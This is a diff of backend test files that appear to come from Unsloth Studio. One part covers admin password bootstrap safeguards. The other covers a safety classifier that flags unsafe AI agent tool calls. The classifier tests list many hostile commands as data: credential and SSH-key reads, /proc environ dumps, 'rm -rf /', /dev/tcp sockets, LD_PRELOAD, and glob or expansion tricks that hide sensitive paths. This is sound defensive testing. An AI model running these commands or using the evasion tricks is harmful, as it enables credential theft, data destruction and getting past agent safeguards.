+    _patch_seeded_admin(monkeypatch, requires_change = False)
+    monkeypatch.setattr(
+        terminal_prompt,
+        "prompt_for_password_change",
+        lambda **k: pytest.fail("prompt must not run when no change is required"),
+    )
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, False)
+
+
+def test_gate_warns_and_proceeds_without_tty_when_deadline_arms(monkeypatch):
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    monkeypatch.setattr(
+        terminal_prompt,
+        "prompt_for_password_change",
+        lambda **k: pytest.fail("prompt must not run without a tty"),
+    )
+    # Proceeds, but the public HTML must not auto-fill the default credential.
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+    out = stderr.getvalue()
+    assert "default admin password is still active" in out
+    assert "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT" in out
+    # The seeded file may already be gone (the CLI parent deletes it before
+    # re-exec), so the warning must point at the reset-password recovery path
+    # instead of promising a file to read.
+    assert "reset-password" in out
+    assert ".bootstrap_password" not in out
+
+
+def test_gate_fails_closed_without_tty_when_deadline_cannot_arm(monkeypatch):
+    # api-only launches never arm the bootstrap deadline, so a headless public
+    # launch with the default password has NO safeguard: refuse to start.
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    kwargs = dict(_GATE_KWARGS)
+    kwargs["api_only"] = True
+    kwargs["frontend_served"] = False
+    assert run._terminal_password_gate(tunnel_will_start = True, **kwargs) == (False, False)
+    assert "Refusing to publish" in stderr.getvalue()
+
+
+def test_gate_fails_closed_without_tty_when_deadline_disabled(monkeypatch):
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "0")
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False)
+    assert "Refusing to publish" in stderr.getvalue()
+
+
+def test_gate_treats_broken_streams_as_non_interactive(monkeypatch):
+    # A closed/None stdin must take the headless path, not blow up.
+    stderr = _Stream(isatty = False)
+    monkeypatch.setattr(sys, "stdin", _BrokenStream())
+    monkeypatch.setattr(sys, "stderr", stderr)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+
+
+def test_gate_refusal_fails_closed(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", lambda **k: False)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False)
+
+
+def test_gate_success_applies_route_equivalent_change(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
+    calls = []
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setattr(
+        auth_storage,
+        "get_user_and_secret",
+        lambda u: ("salt", "hash", "jwt", True),
+    )
+    monkeypatch.setattr(
+        auth_storage,
+        "update_password",
+        lambda u, p, **kw: calls.append(("update", u, p, kw)),
+    )
+
+    def _fake_prompt(*, min_length, is_current_password, apply_change, out):
+        # The gate wires the policy constant and route-equivalent apply hook.
+        assert min_length == auth_storage.MIN_PASSWORD_LENGTH
+        # Wired to the real hash comparison: a wrong guess is rejected.
+        assert is_current_password("wrong-guess") is False
+        apply_change("brand-new-password")
+        return True
+
+    monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", _fake_prompt)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+    admin = auth_storage.DEFAULT_ADMIN_USERNAME
+    # One atomic call: refresh tokens revoked in the same transaction as the
+    # password commit (a separable follow-up delete can fail and leave a
+    # pre-change refresh token able to mint access tokens).
+    assert calls == [("update", admin, "brand-new-password", {"revoke_refresh_tokens": True})]
+
+
+# ── ordering inside run_server (source-level, repo convention) ───────
+
+
+def test_gate_runs_before_server_bind_in_source():
+    # The gate must run before the uvicorn socket binds: on a wildcard bind
+    # the served HTML injects the bootstrap credential for first login, so a
+    # pre-gate listener would hand out the default password mid-prompt.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    gate_call = src.index("_pw_proceed, _pw_drop_bootstrap = _terminal_password_gate(")
+    thread_start = src.index("thread.start()")
+    tunnel_start = src.index("_cloudflare_url = start_studio_tunnel(port)")
+    assert gate_call < thread_start < tunnel_start
+    # The fail-closed branch exits before any server exists.
+    refusal = src[gate_call:thread_start]
+    assert "sys.exit(1)" in refusal
+
+
+def test_min_password_length_single_source():
+    # models/auth.py must reference the storage constant, not a literal.
+    models_src = (_BACKEND / "models" / "auth.py").read_text(encoding = "utf-8")
+    assert "MIN_PASSWORD_LENGTH" in models_src
+    assert not re.search(r"min_length\s*=\s*8\b", models_src)
+    assert auth_storage.MIN_PASSWORD_LENGTH == 8
+
+
+def test_lifespan_honors_bootstrap_suppression_in_source():
+    # The lifespan runs AFTER the gate and re-reads the bootstrap password
+    # into app.state; without the suppress flag it would overwrite the gate's
+    # None and the public HTML would inject the default credential again.
+    main_src = (_BACKEND / "main.py").read_text(encoding = "utf-8")
+    assert "suppress_bootstrap_injection" in main_src
+    # Every lifespan capture of the bootstrap password must be flag-guarded.
+    for line in main_src.splitlines():
+        if "storage.get_bootstrap_password()" in line and "=" in line:
+            assert "_suppress_bootstrap" in line, line
+    run_src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert "app.state.suppress_bootstrap_injection = True" in run_src
+
+
+def test_clear_bootstrap_password_truncates_when_unlink_fails(monkeypatch, tmp_path):
+    # If the file cannot be unlinked (Windows AV / read-only auth dir), clear must
+    # truncate it so its stale plaintext cannot be re-seeded by
+    # generate_bootstrap_password() after a later reset-password deletes auth.db,
+    # which would re-validate the revoked bootstrap password.
+    import pathlib
+
+    pw_path = tmp_path / ".bootstrap_password"
+    pw_path.write_text("old-diceware-passphrase")
+    monkeypatch.setattr(auth_storage, "_BOOTSTRAP_PW_PATH", pw_path)
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", "old-diceware-passphrase")
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom(self, *a, **k):
+        if self == pw_path:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom)
+
+    auth_storage.clear_bootstrap_password()
+
+    assert pw_path.exists()  # unlink failed
+    assert pw_path.read_text() == ""  # but truncated -> no reusable plaintext
+
+    # The stale value must not load back (empty file -> None), so a later re-seed
+    # generates fresh rather than resurrecting the revoked credential.
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", None)
+    assert auth_storage._load_bootstrap_password() is None
+
+
+def test_clear_bootstrap_password_warns_truthfully_when_not_cleared(monkeypatch, tmp_path, capsys):
+    # If the file can be neither unlinked NOR truncated, the stale plaintext stays
+    # on disk. The warning must NOT claim it was made unreusable (Codex 3571888584):
+    # it must say it could not be cleared and ask the user to remove it manually.
+    import pathlib
+
+    pw_path = tmp_path / ".bootstrap_password"
+    pw_path.write_text("old-diceware-passphrase")
+    monkeypatch.setattr(auth_storage, "_BOOTSTRAP_PW_PATH", pw_path)
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", "old-diceware-passphrase")
+
+    _real_unlink = pathlib.Path.unlink
+    _real_write_text = pathlib.Path.write_text
+
+    def _boom_unlink(self, *a, **k):
+        if self == pw_path:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    def _boom_write_text(self, *a, **k):
+        if self == pw_path:
+            raise OSError("read-only")
+        return _real_write_text(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+    monkeypatch.setattr(pathlib.Path, "write_text", _boom_write_text)
+
+    auth_storage.clear_bootstrap_password()
+
+    # The stale plaintext survives untouched.
+    assert pw_path.read_text() == "old-diceware-passphrase"
+    warning = capsys.readouterr().err.lower()
+    assert "could not delete or clear" in warning
+    assert "still on disk" in warning
+    assert "remove it manually" in warning
+    # Must not falsely claim the contents were cleared (the bug being fixed).
+    assert "cleared its contents" not in warning
+
+
+# ── _apply_supplied_password: non-interactive initial password (direct run.py) ──
+
+
+def _seed_stub_admin(
+    monkeypatch,
+    *,
+    requires_change,
+    bootstrap_pw = "bootstrap-secret",
+):
+    """Stub storage so _apply_supplied_password sees a seeded admin whose current
+    password is ``bootstrap_pw`` and whose must-change flag is ``requires_change``;
+    return the recorded update_password calls."""
+    from auth import hashing
+
+    salt, pwd_hash = hashing.hash_password(bootstrap_pw)
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False)
+    monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change)
+    monkeypatch.setattr(
+        auth_storage, "get_user_and_secret", lambda u: (salt, pwd_hash, "jwt", requires_change)
+    )
+    calls = []
+    monkeypatch.setattr(
+        auth_storage, "update_password", lambda u, p, **kw: calls.append((u, p, kw))
+    )
+    return calls
+
+
+def test_apply_supplied_password_sets_initial(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    run._apply_supplied_password(None)  # resolves from the env var
+    admin = auth_storage.DEFAULT_ADMIN_USERNAME
+    assert calls == [(admin, "brand-new-password", {"revoke_refresh_tokens": True})]
+
+
+def test_apply_supplied_password_off_is_noop(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, raising = False)
+    run._apply_supplied_password(None)
+    run._apply_supplied_password("")
+    assert calls == []
+
+
+def test_apply_supplied_password_already_set_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = False)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []  # never overrides an existing password
+
+
+def test_apply_supplied_password_too_short_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "short")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []
+
+
+def test_apply_supplied_password_must_differ_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True, bootstrap_pw = "bootstrap-secret")
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "bootstrap-secret")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []
+
+
+def test_apply_supplied_password_strips_env_from_subprocess_environment(monkeypatch):
+    # The plaintext password must not linger in os.environ: run_server later spawns
+    # cloudflared/llama-server/code-exec tools that would otherwise inherit it (also
+    # readable via /proc/PID/environ). The direct-run.py path pops it itself; the CLI
+    # pops it before re-exec. Assert the pop happens on the apply path...
+    _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    run._apply_supplied_password(None)
+    assert terminal_prompt.SUPPLIED_PASSWORD_ENV not in run.os.environ
+
+
+def test_apply_supplied_password_strips_env_even_when_literal_wins(monkeypatch):
+    # A literal --password wins over the env var, but a stale env value would still
+    # leak to subprocesses; the unconditional pop must clear it regardless of source.
+    _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "env-should-be-stripped")
+    run._apply_supplied_password("literal-new-password")
+    assert terminal_prompt.SUPPLIED_PASSWORD_ENV not in run.os.environ
diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py
new file mode 100644
index 0000000000..4fc64a6291
--- /dev/null
+++ b/studio/backend/tests/test_permission_mode.py
@@ -0,0 +1,1594 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for permission_mode ("Ask for approval" / "Approve for me" /
+"Off" / "Full access") permission levels.
+
+Covers the auto-mode safety classifier in tools.py and the loop-level
+behavior of run_safetensors_tool_loop: in "auto" mode only calls detected
+as potentially unsafe pause for confirmation, in "full" mode nothing
+pauses and the sandbox is dropped, and unset/unknown modes behave as
+"ask" (every call pauses when confirm_tool_calls is on).
+"""
+
+import os
+import uuid
+
+import pytest
+
+from core.inference.mcp_client import MCP_TOOL_PREFIX
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+from core.inference.tools import is_potentially_unsafe_tool_call
+from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+from state import tool_approvals
+from state.tool_approvals import resolve_tool_decision
+
+_SESSION = "perm-mode-session"
+
+
+@pytest.fixture(autouse = True)
+def _isolate_permission_mode_globals():
+    """Keep the loop-driving tests hermetic against process-global state that
+    leaks across the full backend suite.
+
+    ``run_safetensors_tool_loop`` reads a process-global approval registry
+    (``state.tool_approvals._pending``) and honors ``os.environ``. Other test
+    modules mutate both (module-level ``os.environ[...] = ...`` runs at import
+    time; abandoned approvals can survive a test). A stale entry keyed by the
+    shared session id, or a leaked env var, can make the loop deny or skip a
+    call that these tests expect to run, which only surfaces in the full-suite
+    ordering on CI (not when the file runs alone). Snapshot and restore both,
+    and hand every ``_drive`` call a unique session, so each test starts clean.
+    """
+    env_snapshot = dict(os.environ)
+    with tool_approvals._lock:
+        pending_snapshot = dict(tool_approvals._pending)
+        tool_approvals._pending.clear()
+    try:
+        yield
+    finally:
+        with tool_approvals._lock:
+            tool_approvals._pending.clear()
+            tool_approvals._pending.update(pending_snapshot)
+        os.environ.clear()
+        os.environ.update(env_snapshot)
+
+
+@pytest.fixture(autouse = True)
+def _clear_pending():
+    with tool_approvals._lock:
+        tool_approvals._pending.clear()
+    yield
+    with tool_approvals._lock:
+        tool_approvals._pending.clear()
+
+
+# ── classifier ──────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("command", "unsafe"),
+    [
+        ("ls -la", False),
+        ("cat foo.txt | grep hello", False),
+        ("find . -name '*.py' | head -5", False),
+        ("env FOO=1 grep -r pattern .", False),
+        ("echo hi > out.txt", True),  # write redirection
+        ("rm -rf /", True),
+        ("ls; rm x", True),  # unsafe after separator
+        ("xargs rm", True),  # xargs is not a safe wrapper: it injects stdin args
+        ("xargs sort", True),  # forwards to sort with unscanned stdin arguments
+        ("echo -o out x | xargs sort", True),  # hidden write via stdin-supplied args
+        ("find . -name '*.py' | xargs grep foo", True),  # xargs run stays gated
+        ("ionice -c 3 -p 1234", True),  # -p changes a running process's IO priority
+        ("ionice -p 1", True),
+        ("ionice -P 999", True),  # -P targets a process group
+        ("ionice -u 1000", True),  # -u targets a user's processes
+        ("ionice -c3 -p1234", True),  # attached short flags still target a process
+        ("ionice -c 3 ls", False),  # a real wrapped command stays safe
+        ("ionice -n 5 grep x .", False),  # class-data flag then wrapped read stays safe
+        ("sudo ls", True),
+        ("git push origin main", True),
+        ("pip install requests", True),
+        ("echo `whoami`", True),  # substitution fails closed
+        ("python -c 'print(1)'", True),  # arbitrary code
+        ("find . -exec rm {} ;", True),  # find can execute
+        ("find . -delete", True),  # find can delete
+        ("fd -x rm", True),  # fd runs a command per result
+        ("fd --exec-batch rm", True),
+        ("fd -e py pattern", False),  # plain fd search stays read only
+        ("sort -o out.txt in.txt", True),  # -o writes a file
+        ("sort --output=out in", True),
+        ("sort --compress-program=sh big.txt", True),  # runs an external program
+        ("sort -T ./scratch large.txt", True),  # -T writes temporaries to a chosen dir
+        ("sort --temporary-directory=./s big.txt", True),
+        ("sort in.txt", False),  # plain sort stays read only
+        ("rg --pre sh needle f.sh", True),  # rg preprocessor runs a command
+        ("rg --pre=/tmp/x needle .", True),
+        ("rg --hostname-bin /tmp/x foo .", True),
+        ("rg --pre-glob '*.txt' needle .", False),  # glob filter stays read only
+        ("rg needle .", False),  # plain rg stays read only
+        ("/tmp/cat secrets", True),  # path-qualified command is an arbitrary binary
+        ("./ls -la", True),
+        ("env /tmp/cat x", True),  # path-qualified target after a wrapper
+        ("tree -o out.txt", True),  # -o writes a file
+        ("time -o /tmp/r ls", True),  # GNU time -o truncates a file
+        ("time --output=/tmp/r ls", True),  # GNU time long output flag
+        ("command time -o/tmp/result cat /dev/null", True),  # attached, behind command
+        ("time -a log.txt ls", True),  # GNU time append flag
+        ("time ls", False),  # plain time wrapper stays safe
+        ("time -p ls", False),  # POSIX time -p (no file) stays safe
+        ("xxd -r dump.hex out.bin", True),  # -r can write
+        ("xxd input.bin dump.hex", True),  # 2nd positional is the outfile
+        ("xxd -c 16 in.bin out.hex", True),  # outfile past a numeric flag value
+        ("xxd input.bin", False),  # single positional reads to stdout
+        ("xxd -c 16 input.bin", False),  # flag value is not a second file
+        ("xxd 42 99", True),  # digit-named outfile positional still counts
+        ("xxd -s 0x10 input.bin", False),  # seek value is not a second file
+        ("awk '{print}' file", True),  # awk can system()/write
+        ("grep -o x file", False),  # grep -o is stdout only
+        ("ls\nrm -rf x", True),  # newline separates commands
+        ("ls\r\nrm x", True),  # CRLF separates commands
+        ("ls\n\n\nrm x", True),  # blank lines collapse to one separator
+        ("ls\npwd", False),  # multi-line stays safe when every line is
+        ("ls\n", False),
+        ("sort -o/tmp/out /tmp/in", True),  # attached short output flag
+        ("sort -uo out.txt in.txt", True),  # -o bundled in a short cluster
+        ("sort -bo out in", True),
+        ("sort -u in.txt", False),  # cluster without a write flag stays safe
+        ("find . \\( -name x -delete \\)", True),  # -delete inside a group
+        ("cat ../../.ssh/id_rsa", True),  # parent traversal read
+        ("cat ~/.aws/credentials", True),  # credential path
+        ("cat /home/a/.azure/msal_token_cache.json", True),  # azure token store
+        ("cat ~/.config/gh/hosts.yml", True),  # gh cli credentials
+        ("cat ~/.config/app/settings.json", False),  # ordinary config stays safe
+        ("cat /home/alice/.cache/huggingface/token", True),  # HF login token
+        ("cat ~/.cache/huggingface/stored_tokens", True),  # HF multi-token store
+        ("cat /home/alice/.huggingface/token", True),  # legacy HF token location
+        ("cat /home/alice/myhuggingface/token", False),  # unrelated dir stays safe
+        (
+            "cat /home/alice/.cache/huggingface/hub/models--x/config.json",
+            False,
+        ),  # HF model cache is not a credential
+        ("cat /run/secrets/hf_token", True),  # docker secret mount
+        ("cat /var/run/secrets/kubernetes.io/serviceaccount/token", True),  # k8s mount
+        ("cat /run/app.pid", False),  # ordinary /run file stays safe
+        ("cat /etc/passwd", True),  # sensitive system file
+        ("cat /proc/self/environ", True),  # procfs env dump
+        ("cat /proc/1/cmdline", True),
+        ("head /proc/self/maps", True),
+        ("cat /proc/self/fd/3", True),  # procfs fd symlink to an open file
+        ("cat /proc/1234/task/1234/fd/3", True),  # per-thread fd symlink
+        ("LD_PRELOAD=/tmp/hook.so ls", True),  # code-loading env prefix
+        ("PATH=. ls", True),  # command-lookup env prefix
+        ("IFS=x ls", True),
+        ("FOO=1 grep -r x .", False),  # benign env prefix stays safe
+        ("ps auxe", True),  # ps can dump process env; not on the safe list
+        ("ps aux", True),
+        ("cd /; cat etc/passwd", True),  # cd escapes the workdir
+        ("cd subdir; ls", True),  # cd is no longer auto-approved
+        ("env --chdir=/ cat etc/passwd", True),  # env -C escapes the workdir
+        ("env -S 'sh -c id' true", True),  # env --split-string builds a command
+        ("env FOO=1 grep -r x .", False),  # benign env wrapper stays safe
+        ("cat /etc//passwd", True),  # redundant slashes resolve to /etc/passwd
+        ("cat /etc/./passwd", True),
+        ("p=/etc; cat $p/passwd", True),  # path split across an assignment
+        ("d=/etc; cat ${d}/shadow", True),
+        ("FOO=1 echo $FOO", False),  # benign variable expansion stays safe
+        ("cat /proc/$PPID/enviro''n", True),  # quote-split procfs read
+        ("cat /proc/self/'environ'", True),
+        ('p="/proc/$PPID"; cat $p/environ', True),  # quoted+nested var procfs
+        ("LESSOPEN='|touch x; cat %s' less f.txt", True),  # less input preprocessor
+        ("less file.txt", True),  # less pager escapes (+cmd, !shell, -o) so it asks
+        ("less '+!touch pwned' notes.txt", True),  # less +command runs a shell command
+        ("more file.txt", True),  # more shares the !shell pager escape
+        ("cat /proc/cpuinfo", False),  # non-sensitive procfs read stays safe
+        ("cat /e??/passwd", True),  # glob expands to /etc/passwd
+        ("cat /e[t]c/passwd", True),  # bracket class hides etc
+        ("head /etc/shado?", True),
+        ("cat /et\\c/passwd", True),  # backslash escape hides /etc/passwd
+        ("cat /etc/pass\\wd", True),
+        ("ls *.py", False),  # benign glob stays safe
+        ("head data?.txt", False),
+        ("grep -R TOKEN /home", True),  # recursive search escapes the workdir
+        ("rg TOKEN /", True),
+        ("fd pattern /etc", True),
+        ("grep -r foo src/", False),  # sandbox-relative search stays safe
+        ("rg TOKEN .", False),
+        ("tree /home", True),  # always-recursive walker escapes onto host files
+        ("du /", True),  # disk-usage walk of the whole host root
+        ("du -sh /home", True),  # summarized host-home walk still recurses
+        ("ls -R /home", True),  # ls recurses with -R onto host files
+        ("ls -R /etc", True),
+        ("ls -laR /", True),  # -R inside a short cluster still recurses
+        ("tree .", False),  # cwd walk stays in the sandbox
+        ("tree ./project", False),  # relative walk stays safe
+        ("du -sh", False),  # du with no path defaults to cwd
+        ("du -sh ./build", False),  # relative disk-usage stays safe
+        ("ls -R subdir", False),  # relative recursive listing stays safe
+        ("ls -la /home", False),  # non-recursive listing of one level stays here
+        ("sort --files0-from=list.txt", True),  # reads an indirect file list
+        ("sort --files0-from list.txt", True),  # separate-value form
+        ("sort -u data.txt", False),  # ordinary sort stays read only
+        ("wc --files0-from=list", True),  # wc reads an indirect file list too
+        ("wc --files0-from list", True),
+        ("du --files0-from=list", True),  # du indirect file list
+        ("find -files0-from list", True),  # find primary reading a file list
+        ("wc file.txt", False),  # ordinary wc stays read only
+        ("wc -l data.txt", False),  # counting flag stays read only
+        ("cat logs/app.log", False),  # ordinary relative read
+        ("cat /r?n/secrets/hf_token", True),  # glob into a secret mount
+        ("cat /var/r?n/secrets/db", True),
+        ("cat /root/.s??/id_rsa", True),  # glob into a credential dir
+        ("cat ~/.huggingface/tok?n", True),  # glob resolves to a credential basename
+        ("cat proj/.netr?", True),  # glob resolves to .netrc anywhere
+        ("cat repo/.aws/cred*", True),  # glob resolves to credentials anywhere
+        ("cat backup/id_rs?", True),  # glob resolves to id_rsa anywhere
+        ("cat .e?v", True),  # glob resolves to a project .env secret
+        ("cat proj/.en?", True),  # .env anywhere via a glob
+        ("cat notes/dra?t.txt", False),  # benign globbed basename stays safe
+        ("cat data/token_counts.tx?", False),  # 'token' prefix basename stays safe
+        ("ls /home/*/projects", False),  # benign glob not into a cred dir
+        ("grep -R TOKEN ~root", True),  # tilde-user recursive root escapes
+        ("grep -R TOKEN ~/logs", True),  # tilde-home recursive root escapes
+        ("cat /etc/pass{w,}d", True),  # brace expansion builds /etc/passwd
+        ("cat report{1,2}.txt", False),  # benign brace stays safe
+        ("cat /e{t,}c/pass?d", True),  # brace-expanded candidate then a glob resolves it
+        ("cat /et{c,}/pass?d", True),  # brace + glob in the tail
+        ("cat repo/d{1,2}/f?.txt", False),  # benign brace + glob stays safe
+        ("cat /etc/pass${x:-wd}", True),  # default param expansion builds path
+        ("cat /etc/pass${x:=wd}", True),
+        ("echo ${x:-hello}", False),  # benign default param stays safe
+        ("cat </e??/passwd", True),  # redirection prefix hides the glob
+        ("cat <../../notes", True),  # redirection with no space escapes workdir
+        ("cat notes.txt", False),  # ordinary read stays safe
+        ("p=/; grep -R TOKEN $p", True),  # recursive root hidden in an assignment
+        ("p=/home; grep -R TOKEN $p", True),
+        ("p=src; grep -R TOKEN $p", False),  # relative assigned root stays safe
+        ("cat /etc/pass{w..w}d", True),  # sequence brace builds /etc/passwd
+        ("cat /etc/pass{v..x}d", True),  # sequence brace range spans passwd
+        ("cat file{1..3}.txt", False),  # benign sequence brace stays safe
+        ("p=passwd; cat /etc/${p:0:6}", True),  # substring expansion builds path
+        ("p=hello; cat notes/${p:0:3}", False),  # benign substring stays safe
+        ("cat $'/etc/pass\\x77d'", True),  # ANSI-C escape hides /etc/passwd
+        ("cat $'notes.txt'", False),  # benign ANSI-C quote stays safe
+        ("cat /home/*/.az?re/msal_token_cache.json", True),  # azure token glob
+        ("cat /home/*/.config/g?/hosts.yml", True),  # gh config glob
+        ("cat /home/*/projects/readme", False),  # benign home glob stays safe
+        ("cat /proc/$PPID/task/$PPID/environ", True),  # per-thread proc env alias
+        ("cat /proc/cpuinfo", False),  # non-sensitive proc read stays safe
+        ("grep -R TOKEN ${root:-/home}", True),  # default-param recursive root
+        ("grep -R TOKEN ${root:-src}", False),  # relative default root stays safe
+        ("p=passXd; cat /etc/${p/X/w}", True),  # pattern replacement builds path
+        ("p=passXd; cat /etc/${p//X/w}", True),  # global pattern replacement
+        ("p=hello; cat notes/${p/l/L}", False),  # benign replacement stays safe
+        ("p=PASSWD; cat /etc/${p,,}", True),  # case-lower expansion builds path
+        ("p=hello; cat notes/${p,,}", False),  # benign case expansion stays safe
+        ("f=-delete; find . $f", True),  # find action hidden behind an assignment
+        ("g=e??; cat /$g/passwd", True),  # glob assembled through an assignment
+        ("g=abc; cat /$g/readme", False),  # benign assigned path stays safe
+        ("cat /etc/pass[[:lower:]]d", True),  # POSIX class glob builds /etc/passwd
+        ("x=passwd; p=x; cat /etc/${!p}", True),  # indirect expansion builds path
+        ("x=notes; p=x; cat /home/${!p}", False),  # benign indirect expansion stays safe
+        ("cat </dev/tcp/example.com/80", True),  # bash /dev/tcp opens a socket
+        ("cat < /dev/udp/1.2.3.4/53", True),  # bash /dev/udp opens a socket
+        ("cat /dev/null", False),  # ordinary /dev file stays safe
+        ("cat /etc/ssh/ssh_host_ed25519_key", True),  # ssh host private key read
+        ("cat /etc/ssh/sshd_config", True),  # whole /etc/ssh dir is sensitive
+        ("cat /etc/hostname", False),  # non-key /etc read stays safe
+        ("sort --out=/tmp/o in", True),  # abbreviated --output writes a file
+        ("env --ch=/ cat etc/passwd", True),  # abbreviated --chdir escapes workdir
+        ("sort --check in", False),  # benign abbreviation-free long flag stays safe
+        ("printf -v PATH %s .; ls", True),  # printf -v rewrites PATH then runs ./ls
+        ("printf 'hello %s' world", False),  # ordinary printf stays safe
+        ("fd --base-directory=/ passwd etc", True),  # fd root move escapes workdir
+        ("fd --search-path=/etc passwd", True),  # fd search-path escapes workdir
+        ("fd --base-dir=/ passwd etc", True),  # abbreviated fd root flag too
+        ("fd passwd", False),  # in-workdir fd search stays safe
+        ("uniq input.txt output.txt", True),  # second positional is a written OUTPUT
+        ("uniq -f 2 in out", True),  # numeric flag value skipped, two file positionals
+        ("uniq input.txt", False),  # single positional reads to stdout, stays safe
+        ("uniq 123 out.txt", True),  # digit-named INPUT still leaves out.txt as the 2nd file
+        ("uniq 123", False),  # a single digit-named input reads to stdout, stays safe
+        ("uniq --skip-fields=2 input.txt", False),  # attached flag value, single file
+        ("sort a.txt | uniq -c", False),  # piped uniq with no output file stays safe
+        ("hostname new-name", True),  # a positional sets the hostname
+        ("hostname -F /etc/hn", True),  # -F/--file sets the hostname from a file
+        ("hostname", False),  # bare hostname reads
+        ("hostname -f", False),  # -f prints the FQDN, stays read-only
+        ("hostname -I", False),  # -I prints IPs, stays read-only
+        ("date -s tomorrow", True),  # -s sets the system clock
+        ("date --set='2020-01-01'", True),  # --set sets the clock
+        ("date 010100002020", True),  # a bare positional is the clock-setting form
+        ("date", False),  # bare date reads
+        ("date +%Y-%m-%d", False),  # a +FORMAT display token stays read-only
+        ("date -u +%s", False),  # -u display flag with a +FORMAT stays safe
+        ("date -d tomorrow", False),  # -d STRING only displays the given date
+        ("date -d yesterday +%Y", False),  # -d value skipped, +FORMAT display stays safe
+        ("date -r file.txt", False),  # -r FILE displays a file's mtime, read-only
+        ("file -C -m mymagic", True),  # file -C compiles a magic database (writes .mgc)
+        ("file --compile -m mymagic", True),  # long form of the compile flag
+        ("file report.txt", False),  # plain file identification stays read-only
+        ("sha256sum -c manifest", True),  # -c reads an arbitrary checklist of paths
+        ("md5sum --check list", True),  # --check reads the listed files
+        ("shasum -c manifest", True),  # shasum verify mode reads the checklist
+        ("sha256sum data.bin", False),  # hashing a named file stays read-only
+        ("md5sum file.txt", False),  # plain digest of a file stays read-only
+    ],
+)
+def test_terminal_classifier(command, unsafe):
+    assert is_potentially_unsafe_tool_call("terminal", {"command": command}) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("code", "unsafe"),
+    [
+        ("print(1+1)", False),
+        ("import math\nprint(math.pi)", False),
+        ("print(open('x.txt').read())", False),  # read-mode open
+        ("open('x.txt', 'w').write('hi')", True),
+        ("import shutil; shutil.rmtree('x')", True),
+        ("import os; os.remove('x')", True),
+        ("import requests", True),  # network module
+        ("exec('print(1)')", True),
+        ("from os import remove\nremove('x')", True),  # from-import binding
+        ("from os import remove as rm\nrm('x')", True),
+        ("from os import *", True),  # star import hides anything
+        ("import os\nprint(os.getcwd())", False),  # read-only os use
+        ("f = os.remove\nf('x')", True),  # indirect reference
+        ("import os\nrm = os.remove\nrm('x')", True),  # alias assignment
